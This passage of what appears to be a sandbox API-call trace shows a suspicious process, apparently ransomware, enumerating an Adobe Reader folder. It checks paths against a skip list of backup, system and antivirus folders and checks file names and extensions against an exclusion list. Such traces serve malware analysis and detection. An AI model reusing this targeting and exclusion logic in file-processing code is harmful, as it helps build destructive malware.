lpsz="FILES\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="FILES\\BACKUPCLIENT\\") returned 0x13 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="(X86)\\BACKUPCLIENT\\") returned 0x13 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="FILES\\BACKUP MANAGER\\") returned 0x15 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="(X86)\\BACKUP MANAGER\\") returned 0x15 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\CARBONITE\\", cchLength=0x10 | out: lpsz="FILES\\CARBONITE\\") returned 0x10 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\CARBONITE\\", cchLength=0x10 | out: lpsz="(X86)\\CARBONITE\\") returned 0x10 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="FILES\\GOOGLE\\DRIVE\\") returned 0x13 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="(X86)\\GOOGLE\\DRIVE\\") returned 0x13 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\DROPBOX\\", cchLength=0xe | out: lpsz="FILES\\DROPBOX\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\DROPBOX\\", cchLength=0xe | out: lpsz="(X86)\\DROPBOX\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="FILES\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="(X86)\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\ONEDRIVE\\", cchLength=0xf | out: lpsz="FILES\\ONEDRIVE\\") returned 0xf [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\ONEDRIVE\\", cchLength=0xf | out: lpsz="(X86)\\ONEDRIVE\\") returned 0xf [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="VNC\\", cchLength=0x4 | out: lpsz="VNC\\") returned 0x4 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\INTERNET EXPLORER\\", cchLength=0x13 | out: lpsz="\\INTERNET EXPLORER\\") returned 0x13 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT\\OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\OFFICE\\") returned 0x12 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT OFFICE\\") returned 0x12 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWS SIDEBAR\\", cchLength=0x11 | out: lpsz="\\WINDOWS SIDEBAR\\") returned 0x11 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWS MEDIA PLAYER\\", cchLength=0x16 | out: lpsz="\\WINDOWS MEDIA PLAYER\\") returned 0x16 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\DVD MAKER\\", cchLength=0xb | out: lpsz="\\DVD MAKER\\") returned 0xb [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWSPOWERSHELL\\", cchLength=0x13 | out: lpsz="\\WINDOWSPOWERSHELL\\") returned 0x13 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWS DEFENDER\\", cchLength=0x12 | out: lpsz="\\WINDOWS DEFENDER\\") returned 0x12 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\TOR BROWSER\\", cchLength=0xd | out: lpsz="\\TOR BROWSER\\") returned 0xd [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\ASPNET_CLIENT\\", cchLength=0xf | out: lpsz="\\ASPNET_CLIENT\\") returned 0xf [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\REFERENCE ASSEMBLIES\\", cchLength=0x16 | out: lpsz="\\REFERENCE ASSEMBLIES\\") returned 0x16 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT\\PROVISIONING\\", cchLength=0x18 | out: lpsz="\\MICROSOFT\\PROVISIONING\\") returned 0x18 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT SILVERLIGHT\\", cchLength=0x17 | out: lpsz="\\MICROSOFT SILVERLIGHT\\") returned 0x17 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\PROGRAMDATA\\MICROSOFT\\", cchLength=0x17 | out: lpsz="\\PROGRAMDATA\\MICROSOFT\\") returned 0x17 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\MICROSOFT\\CRYPTO\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\CRYPTO\\") returned 0x12 [0029.716] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.716] CharUpperBuffW (in: lpsz="\\WINDOWSAPPS\\", cchLength=0xd | out: lpsz="\\WINDOWSAPPS\\") returned 0xd [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\7-ZIP\\", cchLength=0x7 | out: lpsz="\\7-ZIP\\") returned 0x7 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\WINRAR\\", cchLength=0x8 | out: lpsz="\\WINRAR\\") returned 0x8 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\ESET", cchLength=0x5 | out: lpsz="\\ESET") returned 0x5 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\AVAST", cchLength=0x6 | out: lpsz="\\AVAST") returned 0x6 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\MALWAREBYTES", cchLength=0xd | out: lpsz="\\MALWAREBYTES") returned 0xd [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\SYMANTEC ENDPOINT", cchLength=0x12 | out: lpsz="\\SYMANTEC ENDPOINT") returned 0x12 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\TREND MICRO", cchLength=0xc | out: lpsz="\\TREND MICRO") returned 0xc [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\BITDEFENDER", cchLength=0xc | out: lpsz="\\BITDEFENDER") returned 0xc [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\PANDA SECURITY", cchLength=0xf | out: lpsz="\\PANDA SECURITY") returned 0xf [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\MCAFEE", cchLength=0x7 | out: lpsz="\\MCAFEE") returned 0x7 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\KASPERSKY LAB", cchLength=0xe | out: lpsz="\\KASPERSKY LAB") returned 0xe [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\KASPERSKYLAB", cchLength=0xd | out: lpsz="\\KASPERSKYLAB") returned 0xd [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\AVDEFENDER", cchLength=0xb | out: lpsz="\\AVDEFENDER") returned 0xb [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\SOPHOS", cchLength=0x7 | out: lpsz="\\SOPHOS") returned 0x7 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] CharUpperBuffW (in: lpsz="\\AVG", cchLength=0x4 | out: lpsz="\\AVG") returned 0x4 [0029.717] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.717] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.718] CharUpperBuffW (in: lpsz=".pdf", cchLength=0x4 | out: lpsz=".PDF") returned 0x4 [0029.719] CharUpperBuffW (in: lpsz="AdobeID.pdf", cchLength=0xb | out: lpsz="ADOBEID.PDF") returned 0xb [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.720] CharUpperBuffW (in: lpsz=".pdf", cchLength=0x4 | out: lpsz=".PDF") returned 0x4 [0029.720] CharUpperBuffW (in: lpsz="DefaultID.pdf", cchLength=0xd | out: lpsz="DEFAULTID.PDF") returned 0xd [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DEFAULTID.PDF", 